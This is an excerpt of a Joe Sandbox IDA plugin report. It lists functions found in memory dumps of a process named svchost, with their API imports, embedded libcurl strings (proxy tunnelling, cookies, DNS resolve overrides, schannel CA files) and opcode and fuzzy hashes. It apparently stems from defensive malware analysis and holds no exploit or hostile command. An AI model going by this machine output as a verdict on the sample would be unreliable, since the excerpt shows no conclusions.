Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Crypt$Hash$Param$ContextDestroyRelease
String ID:
API String ID: 2110207923-0
Opcode ID: 2113b808d93c1bafe5e9a1664c8f11832e68d79df5018abb9c08366270d1658f
Instruction ID: aad29dbbde3f29412655c8b5b347b05e9735717365f4e44adb54943ca125e0e0
Opcode Fuzzy Hash: 2113b808d93c1bafe5e9a1664c8f11832e68d79df5018abb9c08366270d1658f
Instruction Fuzzy Hash: 2901216B719689C2EB11CF55E46432EA770FB86F84F548035DA4D06BA9CF3DD444CB04

Function 64946F50 Relevance: 4.5, APIs: 3, Instructions: 43timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAdjustment.KERNEL32 ref: 64946F72
_errno.MSVCRT ref: 64946F95
QueryPerformanceFrequency.KERNEL32 ref: 64946FB5

Memory Dump Source

Source File: 00000035.00000002.3359348861.0000000064941000.00000020.00000001.01000000.00000012.sdmp, Offset: 64940000, based on PE: true

Associated: 00000035.00000002.3359315994.0000000064940000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359400917.000000006494A000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359435315.000000006494E000.00000002.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359469079.0000000064950000.00000004.00000001.01000000.00000012.sdmpDownload File
Associated: 00000035.00000002.3359501861.0000000064953000.00000008.00000001.01000000.00000012.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_64940000_svchost.jbxd

Similarity

API ID: AdjustmentFrequencyPerformanceQuerySystemTime_errno
String ID:
API String ID: 931094001-0
Opcode ID: 9c9b8dc8953adad8b182c48c2c5c1b28200ee0171dd9cfc96682e4bc88c00d4e
Instruction ID: 19e011e90420178d8d56a0d731f9381e34ba0287a3f741502673f42520627ade
Opcode Fuzzy Hash: 9c9b8dc8953adad8b182c48c2c5c1b28200ee0171dd9cfc96682e4bc88c00d4e
Instruction Fuzzy Hash: 2E01F7B2690B4196FB05CF31D81035AB3A4FB85B58F04A155DA9A8A394FB3DC956CB20

Function 00007FFDA55AC4D0 Relevance: 3.0, APIs: 2, Instructions: 20COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FFDA55AC4E5
BCryptGenRandom.BCRYPT ref: 00007FFDA55AC4F8

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: CryptRandommemset
String ID:
API String ID: 642379960-0
Opcode ID: acd7f054303f642666b329f4aee6ab01b26b8a1ef5792d49464d3ba23e8ad1d1
Instruction ID: decd6eac7b765aaab4d5247aebc6a353c570e4a1cef9812a0c197dfc5c1f1982
Opcode Fuzzy Hash: acd7f054303f642666b329f4aee6ab01b26b8a1ef5792d49464d3ba23e8ad1d1
Instruction Fuzzy Hash: D4D02BA3B2458542DB2899B3B78356680426B69FC0F08D034EE09CF787DC2DC0814700

Function 00007FFDA559E570 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 89cb39701938fdc7906635887faca12e3e904e12cf13f359e93df5d23b0ebc69
Instruction ID: 40ebba623c9e0c7470244728579415d90d2a66e74f288803c9f4af02428617dd
Opcode Fuzzy Hash: 89cb39701938fdc7906635887faca12e3e904e12cf13f359e93df5d23b0ebc69
Instruction Fuzzy Hash: 6FA01123B2B88AC0A200CB00E2A0F282220FB88B883808020880C028208E28A0028200

Function 00007FFDA557E760 Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 279stringCOMMON

Download Yara Rule

APIs

_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E867
strchr.VCRUNTIME140 ref: 00007FFDA557E881
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E8AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E8E7
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E8FB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E908
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E921
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E92F
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557E93F
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E95A
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E976
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E992
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E9AE
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA557E9CA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA46
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA50
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA5A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA64
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA6E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA77
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA89
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA93
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EA9D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EAA7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EAB1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EABA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EB01
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0 ref: 00007FFDA557EB42
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557EB83

Part of subcall function 00007FFDA557FA90: _time64.API-MS-WIN-CRT-TIME-L1-1-0(00007FFDA557F26C), ref: 00007FFDA557FA9D
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB28
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB32
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB3C
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB46
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB50
Part of subcall function 00007FFDA557FA90: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA557FB59

Part of subcall function 00007FFDA5591260: inet_pton.WS2_32 ref: 00007FFDA5591285
Part of subcall function 00007FFDA5591260: inet_pton.WS2_32 ref: 00007FFDA559129C

Strings

/, xrefs: 00007FFDA557E8A3
Included max number of cookies (%zu) in request!, xrefs: 00007FFDA557EAEA
/, xrefs: 00007FFDA557E918

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free$_strdup$inet_pton$_time64callocmallocqsortstrchrstrncmp
String ID: /$/$Included max number of cookies (%zu) in request!
API String ID: 3681627800-3317691674
Opcode ID: 12525e24ea8cba6d847ec7e73fbdaaba0b9437617cd305ae2b877eee279e8d48
Instruction ID: 8bca22f40a9b7cccfd9f7fbd99530187e1b5e828a10ce4948029bb8e3ed15b03
Opcode Fuzzy Hash: 12525e24ea8cba6d847ec7e73fbdaaba0b9437617cd305ae2b877eee279e8d48
Instruction Fuzzy Hash: C0C13F69B0FB4B45EB679F26982433927A0AF46F94F084931CE5E07B96DF3CE4458314

Function 00007FFDA5574680 Relevance: 34.8, APIs: 5, Strings: 18, Instructions: 350COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5574A78
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5574ACF

Strings

Establish HTTP proxy tunnel to %s, xrefs: 00007FFDA5574794
CONNECT tunnel established, response %d, xrefs: 00007FFDA5574BC8
CONNECT start, xrefs: 00007FFDA5574747
new tunnel state 'response', xrefs: 00007FFDA55749B8
CONNECT response, xrefs: 00007FFDA55749DF
CONNECT phase completed, xrefs: 00007FFDA5574B75
CONNECT need to close+open, xrefs: 00007FFDA5574AFC
new tunnel state 'connect', xrefs: 00007FFDA5574824
new tunnel state 'failed', xrefs: 00007FFDA5574A96, 00007FFDA5574C00
CONNECT send, xrefs: 00007FFDA5574850
new tunnel state 'receive', xrefs: 00007FFDA557493F
new tunnel state 'established', xrefs: 00007FFDA5574B63
CONNECT tunnel failed, response %d, xrefs: 00007FFDA5574AE3
CONNECT receive, xrefs: 00007FFDA5574962
Failed sending CONNECT to proxy, xrefs: 00007FFDA55747EE, 00007FFDA55748F9
new tunnel state 'init', xrefs: 00007FFDA5574A2E
Proxy CONNECT aborted due to timeout, xrefs: 00007FFDA5574BE3
Connect me again please, xrefs: 00007FFDA5574B0E

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: free
String ID: CONNECT need to close+open$CONNECT phase completed$CONNECT receive$CONNECT response$CONNECT send$CONNECT start$CONNECT tunnel established, response %d$CONNECT tunnel failed, response %d$Connect me again please$Establish HTTP proxy tunnel to %s$Failed sending CONNECT to proxy$Proxy CONNECT aborted due to timeout$new tunnel state 'connect'$new tunnel state 'established'$new tunnel state 'failed'$new tunnel state 'init'$new tunnel state 'receive'$new tunnel state 'response'
API String ID: 1294909896-470889996
Opcode ID: af568989738b2105e361f7674dda1c2024948567b25806220ce1904ab6158573
Instruction ID: 33095a9b0ba026931de729a6d6d227464852d93c9e8f5ded9bf6b7e343f880d4
Opcode Fuzzy Hash: af568989738b2105e361f7674dda1c2024948567b25806220ce1904ab6158573
Instruction Fuzzy Hash: 95F1717AB1A78B86EB56DF21A8243B96361EB42F90F844431DA4E47787DF3CE544C708

Function 00007FFDA5599710 Relevance: 31.9, APIs: 12, Strings: 6, Instructions: 420stringCOMMON

Download Yara Rule

APIs

strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA559985D
strchr.VCRUNTIME140 ref: 00007FFDA5599908
strchr.VCRUNTIME140 ref: 00007FFDA559991D
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA5599965
strcspn.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55999CA

Strings

Host, xrefs: 00007FFDA55997EF
X-%s-Date, xrefs: 00007FFDA55997A1
x-%s-date:%s, xrefs: 00007FFDA55997D0
%s: %s, xrefs: 00007FFDA5599B24
host:%s, xrefs: 00007FFDA5599894
Date, xrefs: 00007FFDA5599AEB

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: strchrstrcspn$_strdup
String ID: %s: %s$Date$Host$X-%s-Date$host:%s$x-%s-date:%s
API String ID: 2662505157-2873700390
Opcode ID: 267493bf15667b16e07bb1d7e25cb914912c56e37e807d6e2361f4ba3e24c29a
Instruction ID: 1b193ccf3fac8a7e75635cd807b2b31b108822a93de12c58b81623c812901cb6
Opcode Fuzzy Hash: 267493bf15667b16e07bb1d7e25cb914912c56e37e807d6e2361f4ba3e24c29a
Instruction Fuzzy Hash: 90F1BEAAB0E68A85FB638F1594603B967B1EF57F84F484031DA8D07787EE2CE445C349

Function 00007FFDA55CE500 Relevance: 29.9, APIs: 12, Strings: 5, Instructions: 156fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CA5
Part of subcall function 00007FFDA5580C70: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CB8
Part of subcall function 00007FFDA5580C70: MultiByteToWideChar.KERNEL32(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CDF
Part of subcall function 00007FFDA5580C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?,00007FFDA5580E47,?,?,?,00007FFDA5571F21), ref: 00007FFDA5580CEC

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CE575
CloseHandle.KERNEL32 ref: 00007FFDA55CE719
GetLastError.KERNEL32 ref: 00007FFDA55CE75B

Part of subcall function 00007FFDA55BA3B0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA419
Part of subcall function 00007FFDA55BA3B0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA423
Part of subcall function 00007FFDA55BA3B0: GetLastError.KERNEL32 ref: 00007FFDA55BA42B
Part of subcall function 00007FFDA55BA3B0: SetLastError.KERNEL32 ref: 00007FFDA55BA437

GetLastError.KERNEL32 ref: 00007FFDA55CE541

Part of subcall function 00007FFDA55BA3B0: GetLastError.KERNEL32 ref: 00007FFDA55BA3D2
Part of subcall function 00007FFDA55BA3B0: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55BA3DA

CreateFileW.KERNEL32 ref: 00007FFDA55CE5AE
GetLastError.KERNEL32 ref: 00007FFDA55CE5BD
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CE722
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CE72B

Strings

schannel: failed to determine size of CA file '%s': %s, xrefs: 00007FFDA55CE623
schannel: failed to open CA file '%s': %s, xrefs: 00007FFDA55CE5D8
schannel: failed to read from CA file '%s': %s, xrefs: 00007FFDA55CE776
schannel: invalid path name for CA file '%s': %s, xrefs: 00007FFDA55CE55C
schannel: CA file exceeds max size of %u bytes, xrefs: 00007FFDA55CE65B

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLast$free$_errno$ByteCharMultiWide$CloseCreateFileHandlemalloc
String ID: schannel: CA file exceeds max size of %u bytes$schannel: failed to determine size of CA file '%s': %s$schannel: failed to open CA file '%s': %s$schannel: failed to read from CA file '%s': %s$schannel: invalid path name for CA file '%s': %s
API String ID: 2498712895-3430970913
Opcode ID: d632e80786738a879cc92ecf9560aff02eb4a9c3525972646320cd2bdd4ba7ec
Instruction ID: b5641fdcb02becaeb2de568d8280b130d24a4b5f1ebd04b0aec68cb53d2f6802
Opcode Fuzzy Hash: d632e80786738a879cc92ecf9560aff02eb4a9c3525972646320cd2bdd4ba7ec
Instruction Fuzzy Hash: 0C51B83A71E78A82EB239F52E8647BA6290BB4BF80F800135DD4D47786DF7CE5448748

Function 00007FFDA55C65F0 Relevance: 28.7, APIs: 10, Strings: 9, Instructions: 182stringCOMMON

Download Yara Rule

APIs

memchr.VCRUNTIME140(00000400,00000000,?,00007FFDA55C78BA), ref: 00007FFDA55C662A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000400,00000000,?,00007FFDA55C78BA), ref: 00007FFDA55C6641
strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C669C

Strings

/, xrefs: 00007FFDA55C67C3
/, xrefs: 00007FFDA55C6803
/./, xrefs: 00007FFDA55C6746
..?, xrefs: 00007FFDA55C670E
/..?, xrefs: 00007FFDA55C6827
../, xrefs: 00007FFDA55C66B5
/../, xrefs: 00007FFDA55C679C
/.?, xrefs: 00007FFDA55C6782
/.., xrefs: 00007FFDA55C6673

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: mallocmemchrstrncmp
String ID: ../$..?$/$/$/..$/../$/..?$/./$/.?
API String ID: 2664245045-515720033
Opcode ID: 3b8f4d4bd35b1ac588a291b454dc91f57cea73a63c15a3c4c3322d1baef85d1b
Instruction ID: ef3334d28a4460ae9fed8c20bf98c794bea1e3cc18f70e4570b032eef7acbb17
Opcode Fuzzy Hash: 3b8f4d4bd35b1ac588a291b454dc91f57cea73a63c15a3c4c3322d1baef85d1b
Instruction Fuzzy Hash: 2971A02AB0F59A81FA23CF199530339A7E1AF17F90F484031CA5D46796DF2CE296C309

Function 00007FFDA55914F0 Relevance: 24.8, APIs: 6, Strings: 8, Instructions: 314stringCOMMON

Download Yara Rule

APIs

strchr.VCRUNTIME140 ref: 00007FFDA559156B
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA559158D
strchr.VCRUNTIME140 ref: 00007FFDA55916A1
strtoul.API-MS-WIN-CRT-CONVERT-L1-1-0 ref: 00007FFDA55916CC
strchr.VCRUNTIME140 ref: 00007FFDA559170C
memmove.VCRUNTIME140 ref: 00007FFDA559176B

Strings

Resolve address '%s' found illegal, xrefs: 00007FFDA55919BD
Bad syntax CURLOPT_RESOLVE removal entry '%s', xrefs: 00007FFDA55915B5
:%u, xrefs: 00007FFDA559161E, 00007FFDA559181F
RESOLVE *:%d using wildcard, xrefs: 00007FFDA559194A
Couldn't parse CURLOPT_RESOLVE entry '%s', xrefs: 00007FFDA55919CD
Added %.*s:%d:%s to DNS cache%s, xrefs: 00007FFDA5591915
RESOLVE %.*s:%d - old addresses discarded, xrefs: 00007FFDA559187E
(non-permanent), xrefs: 00007FFDA5591907

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: strchr$strtoul$memmove
String ID: (non-permanent)$:%u$Added %.*s:%d:%s to DNS cache%s$Bad syntax CURLOPT_RESOLVE removal entry '%s'$Couldn't parse CURLOPT_RESOLVE entry '%s'$RESOLVE %.*s:%d - old addresses discarded$RESOLVE *:%d using wildcard$Resolve address '%s' found illegal
API String ID: 505971213-2408895650
Opcode ID: b7fd7f15f64167894f2e4da75c14405a8666acd0d5e951fc8214c38987f03609
Instruction ID: fb98be5f23d27ceaeb9da18c054a5f465530729531356444cc9f54b9bbaba068
Opcode Fuzzy Hash: b7fd7f15f64167894f2e4da75c14405a8666acd0d5e951fc8214c38987f03609
Instruction Fuzzy Hash: 09D1A22AF0A6AAC5EA629F25D4243BA67A4EF47F94F484531DA4D07787DF3CE405C308

Function 00007FFDA558A570 Relevance: 23.0, APIs: 10, Strings: 3, Instructions: 215stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA5587000: malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558703D

strrchr.VCRUNTIME140 ref: 00007FFDA558A61B
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558A642
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA558A699
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA558A705

Strings

path contains control characters, xrefs: 00007FFDA558A5C7
Uploading to a URL without a file name, xrefs: 00007FFDA558A6F1
Request has same path as previous transfer, xrefs: 00007FFDA558A896

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdupcallocfreemallocstrrchr
String ID: Request has same path as previous transfer$Uploading to a URL without a file name$path contains control characters
API String ID: 3403504057-4131979473
Opcode ID: d1d2efe3144fd540e8b844986d91a203392935848b9aa5b6a4edd1debec56d5c
Instruction ID: 84d9483225983b6aafcd852f3ce6ad7934d9cf66a8491bf977f15f8a99a684a0
Opcode Fuzzy Hash: d1d2efe3144fd540e8b844986d91a203392935848b9aa5b6a4edd1debec56d5c
Instruction Fuzzy Hash: A691606AB0EB8A85FB538F12D42437927A2EB86F90F884075DE4D0778ADF2DE441D714

Function 00007FFDA55C25E0 Relevance: 21.3, APIs: 17, Instructions: 77COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA5578D20: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA5578D68

free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C261E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2632
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2646
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C265A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C266E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2682
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2696
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C26AA
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C26BE
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C26D2
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C26E6
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C26F7
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2705
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2713
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2721
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C2732
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C274E

Memory Dump Source

